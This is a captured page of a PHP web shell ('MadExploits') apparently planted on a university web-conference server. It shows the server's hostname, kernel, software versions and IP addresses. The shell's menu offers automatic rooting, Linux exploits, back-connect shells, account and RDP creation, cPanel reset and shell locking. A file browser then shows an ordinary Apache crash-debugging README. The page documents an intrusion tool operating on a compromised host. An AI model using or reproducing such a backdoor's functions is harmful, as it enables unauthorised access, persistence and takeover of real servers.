Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.116.89.70
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
apache2 /
[ HOME SHELL ]
Name
Size
Permission
Action
examples
[ DIR ]
drwxr-xr-x
NEWS.Debian.gz
4.41
KB
-rw-r--r--
PACKAGING.gz
6.87
KB
-rw-r--r--
README.Debian.gz
5.83
KB
-rw-r--r--
README.backtrace
1.28
KB
-rw-r--r--
README.multiple-instances
3.86
KB
-rw-r--r--
changelog.Debian.gz
2.77
KB
-rw-r--r--
copyright
20.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.backtrace
If apache crashes or freezes, it is helpful if you include a backtrace in the bug report. In case of a crash, do the following: 1) Install the packages apache2-bin-dbgsym libapr1-dbgsym libaprutil1-dbgsym gdb. 2) Add "CoreDumpDirectory /var/cache/apache2/core" to your apache configuration. 3) Execute as root: mkdir -p /var/cache/apache2/core chown www-data: /var/cache/apache2/core /etc/init.d/apache2 stop ulimit -c unlimited /etc/init.d/apache2 start 4) Do whatever it takes to reproduce the crash. There should now be the file /var/cache/apache2/core . 5) If you use a forking MPM (e.g. mod_prefork), execute: gdb /usr/sbin/apache2 /var/cache/apache2/core/core (gdb) bt full ... (gdb) quit If you use a threaded mpm (mod_worker, mod_event), execute: gdb /usr/sbin/apache2 /var/cache/apache2/core/core (gdb) thread apply all bt full ... (gdb) quit Include the backtrace in the bug report. 6) Undo the change to your configuration, uninstall the debug packages, remove /var/cache/apache2/core In case of a hanging process, you don't need a core dump and you can skip steps 2 and 3. 4) Reproduce the problem. Get the pid of a hanging process. 5) Start gdb with gdb -p pid and continue as described above. It may also be helpful to include the output of strace -p pid
Close